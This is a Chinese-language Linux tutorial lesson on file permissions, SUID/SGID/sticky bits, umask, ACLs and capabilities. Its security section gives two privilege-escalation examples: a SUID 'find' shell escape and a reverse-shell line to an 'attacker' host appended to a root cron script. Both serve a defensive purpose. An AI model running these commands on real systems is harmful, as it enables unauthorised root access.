🔐 第03课:文件权限与属主

阶段一:文件系统 第3/6课

📚 课程目标

一、权限基础

1.1 权限三元组

Linux文件权限分为三组,分别对应文件属主(u)属组(g)其他人(o),每组三个权限位:

  -rwxr-xr-- 1 root root 1234 Jan 1 10:00 myfile
  │├──┤├──┤├──┤
  │ │   │   └── others: r-- (4)
  │ │   └────── group:  r-x (5)
  │ └────────── user:   rwx (7)
  └──────────── 文件类型: - 普通文件

📋 文件类型标识

字符类型说明
-普通文件文本、二进制等
d目录目录文件
l符号链接快捷方式
b块设备磁盘等
c字符设备终端等
p命名管道FIFO
s套接字Unix socket

1.2 权限含义

权限文件含义目录含义
r (4)读取文件内容列出目录内容(ls)
w (2)修改文件内容创建/删除目录内文件
x (1)执行文件进入目录(cd)/访问目录内文件
对目录的r权限仅允许列出文件名,还需要x权限才能获取文件元数据(如大小、权限)。这就是为什么目录通常有x权限而普通文件不一定需要。

1.3 数字法(八进制)

权限计算:r=4, w=2, x=1
  rwx = 4+2+1 = 7
  r-x = 4+0+1 = 5
  r-- = 4+0+0 = 4
  --- = 0+0+0 = 0

常见权限组合:
  755 = rwxr-xr-x  (目录/可执行文件)
  644 = rw-r--r--  (普通文件)
  700 = rwx------  (私有目录/脚本)
  600 = rw-------  (私密文件,如密钥)
  777 = rwxrwxrwx  (⚠️ 危险,避免使用)

二、权限操作命令

2.1 chmod — 修改权限

# 符号法
chmod u+x file       # 属主添加执行权限
chmod g-w file       # 属组去掉写权限
chmod o=r file       # 其他人设为只读
chmod a+x file       # 所有人添加执行权限
chmod u+s file       # 设置SUID

# 数字法
chmod 755 file       # rwxr-xr-x
chmod 644 file       # rw-r--r--
chmod 700 dir        # rwx------

# 递归修改
chmod -R 755 /var/www/   # 递归设置目录权限

2.2 chown — 修改属主

# 修改属主
chown user file
chown user:group file   # 同时修改属主和属组
chown :group file       # 仅修改属组(等同于chgrp)
chown -R user:group dir # 递归修改

2.3 实机验证

$ ls -la /etc/passwd /etc/shadow /etc/sudoers /tmp
${OUT_PERM}
$ stat -c '%a %U %G %n' /etc/passwd /etc/shadow /home
${OUT_CHOWN}
$ id
${OUT_CHOWN}

三、特殊权限

3.1 SUID (Set User ID)

当执行设置了SUID的程序时,进程以文件属主的身份运行,而非执行者的身份。最经典的例子是passwd命令——普通用户修改密码需要写入/etc/shadow,而该文件仅root可读。

$ find /usr/bin -perm -4000 -type f 2>/dev/null | head -10
${OUT_SUID}
SUID是重大安全隐患!攻击者常利用SUID程序提权。务必定期审计SUID文件,移除不必要的SUID位。

3.2 SGID (Set Group ID)

文件:执行时以文件属组身份运行。对目录:在该目录下创建的文件自动继承目录的属组(而非创建者的主组)。这是共享目录的常用设置。

$ find /usr/bin -perm -2000 -type f 2>/dev/null | head -10
${OUT_SGID}

3.3 Sticky Bit

仅对目录有效。设置了Sticky Bit的目录中,用户只能删除自己拥有的文件,即使对目录有写权限。最典型的例子是/tmp

$ find / -maxdepth 3 -perm -1000 -type d 2>/dev/null | head -5
${OUT_STICKY}

3.4 特殊权限数字表示

SUID = 4 (前置), SGID = 2, Sticky = 1
  chmod 4755 file  # SUID + rwxr-xr-x
  chmod 2755 dir   # SGID + rwxr-xr-x
  chmod 1777 /tmp  # Sticky + rwxrwxrwx

# 符号法
  chmod u+s file   # 设置SUID
  chmod g+s dir    # 设置SGID
  chmod +t dir     # 设置Sticky Bit

四、umask — 默认权限掩码

umask定义了新建文件/目录时去掉的权限位。新建文件的权限 = 最大权限 - umask。

文件默认最大权限: 666 (rw-rw-rw-)
目录默认最大权限: 777 (rwxrwxrwx)

umask 022 时:
  文件: 666 - 022 = 644 (rw-r--r--)
  目录: 777 - 022 = 755 (rwxr-xr-x)

umask 027 时:
  文件: 666 - 027 = 640 (rw-r-----)
  目录: 777 - 027 = 750 (rwxr-x---)
$ umask
${OUT_UMASK}
# 设置umask
umask 027     # 当前会话生效
echo "umask 027" >> ~/.bashrc  # 永久生效

# 验证umask效果
umask 077
touch /tmp/test-umask-file
mkdir /tmp/test-umask-dir
ls -la /tmp/test-umask-*
# 文件应为 rw------- (600)
# 目录应为 rwx------ (700)

五、ACL — 访问控制列表

传统权限模型只有3组(属主/属组/其他),当需要给特定用户或组设置不同权限时,需要ACL。

# 安装ACL工具
sudo apt install acl

# 查看ACL
getfacl file

# 设置ACL
setfacl -m u:alice:rw file     # 给用户alice设置rw权限
setfacl -m g:dev:rwx dir       # 给组dev设置rwx权限
setfacl -m d:u:alice:rw dir    # 默认ACL(新建文件继承)

# 删除ACL
setfacl -x u:alice file        # 删除特定ACL条目
setfacl -b file                 # 删除所有ACL
$ getfacl /tmp
${OUT_ACL}
设置了ACL的文件,在ls -l输出中权限部分会多一个+号,如-rw-rw-r--+。这是ACL存在的标志。

六、实机权限操作

# 创建测试环境
mkdir -p /tmp/perm-test
cd /tmp/perm-test

# 创建文件和目录
touch file1.txt
mkdir dir1

# 查看默认权限
ls -la

# 修改权限
chmod 750 file1.txt
chmod 770 dir1
ls -la

# 修改属主
chown root:root file1.txt
ls -la file1.txt

# 测试特殊权限
# 创建共享目录
mkdir shared-project
chmod 2770 shared-project   # SGID
ls -ld shared-project

# 设置ACL
setfacl -m u:www-data:r-x dir1 2>/dev/null || echo "ACL not available"
getfacl dir1

七、故障排查

❌ 问题:Permission denied

排查步骤

# 1. 查看文件权限
ls -la /path/to/file

# 2. 查看当前用户
id

# 3. 查看ACL
getfacl /path/to/file

# 4. 检查父目录权限
namei -l /path/to/file

# 5. 检查SELinux/AppArmor
getenforce 2>/dev/null || echo "SELinux not installed"
aa-status 2>/dev/null || echo "AppArmor not installed"

❌ 问题:无法删除目录中的文件(Sticky Bit)

原因:目录设置了Sticky Bit,只能删除自己的文件

# 查看目录权限
ls -ld /tmp
# 如果最后一位是t,说明有Sticky Bit
# drwxrwxrwt → 有Sticky Bit

# 解决方案:
# 1. 使用文件属主身份删除
# 2. 使用root删除
# 3. 移除Sticky Bit(需要root)
sudo chmod -t /shared-dir

八、练习

📝 练习1:权限计算

计算以下权限的八进制值:

  1. rwxr-xr-x = ?
  2. rw-r----- = ?
  3. r--r--r-- = ?
  4. rwx------ = ?
  5. rwsr-xr-x = ? (注意SUID)

答案:755, 640, 444, 700, 4755

📝 练习2:权限场景设计

为以下场景设计合适的权限方案:

  1. Web服务器目录/var/www/html:所有者root,www-data组可读
  2. 用户私钥~/.ssh/id_rsa:仅所有者可读写
  3. 团队共享目录/opt/project:project组共享,新文件自动归属project组
  4. 临时目录/tmp:所有人可写,但只能删自己的文件
# 参考答案
# 1.
chown root:www-data /var/www/html
chmod 750 /var/www/html

# 2.
chmod 600 ~/.ssh/id_rsa

# 3.
chown :project /opt/project
chmod 2770 /opt/project

# 4.
chmod 1777 /tmp
🏆

成就解锁:权限守护者

✅ 理解rwx权限模型

✅ 掌握chmod/chown/chgrp命令

✅ 了解SUID/SGID/Sticky Bit

✅ 学会使用ACL精细控制

✅ 理解umask默认权限

九、安全最佳实践

🔒 权限安全检查清单

  1. 定期审计SUID/SGID文件:find / -perm -4000 -o -perm -2000
  2. 确保敏感文件权限正确:/etc/shadow 应为640或600
  3. SSH密钥权限:~/.ssh/ 700, ~/.ssh/id_rsa 600
  4. 避免777权限,尤其是配置文件和脚本
  5. Web目录禁止写权限给其他用户
  6. 日志文件设置适当权限,防止信息泄露

🛡️ 权限提权漏洞案例

案例1:SUID提权

如果find命令有SUID位,攻击者可以:

# 危险!如果find有SUID
find . -exec /bin/sh -p \;

案例2:可写脚本提权

如果root拥有的cron脚本对其他用户可写:

# 攻击者可以修改root的cron脚本
echo '/bin/bash -i >& /dev/tcp/attacker/4444 0>&1' >> /opt/backup.sh
# 当cron以root执行时,获得root shell

# 防御:确保cron脚本权限正确
chmod 700 /opt/backup.sh
chown root:root /opt/backup.sh

十、高级权限技巧

10.1 使用chattr设置不可变属性

# 设置不可变属性(即使root也无法修改,直到取消)
sudo chattr +i /etc/resolv.conf

# 查看属性
lsattr /etc/resolv.conf

# 取消不可变
sudo chattr -i /etc/resolv.conf

# 只追加属性(日志文件防篡改)
sudo chattr +a /var/log/important.log

10.2 capabilities — 更细粒度的权限控制

传统模型中,root拥有全部特权。Capabilities将root权限分解为具体的 Capability,可以单独授予进程。

# 查看文件的capabilities
capsh --print
getcap /usr/bin/ping

# 常见capabilities
# CAP_NET_RAW - 使用原始套接字(ping需要)
# CAP_NET_BIND_SERVICE - 绑定1024以下端口
# CAP_SYS_ADMIN - 最广泛的capability
# CAP_DAC_OVERRIDE - 绕过文件权限检查

# 给程序设置capability(替代SUID)
sudo setcap cap_net_raw+ep /usr/bin/ping

# 这比SUID更安全:程序只获得需要的权限,而非完整的root权限

10.3 数字权限速查表

场景文件权限目录权限说明
私有文件600700仅属主可访问
团队共享660770属组可读写
公开只读644755所有人可读
可执行程序755755所有人可执行
CGI脚本700755仅属主可执行
共享上传6441777Sticky防互删
密钥文件600700严格私有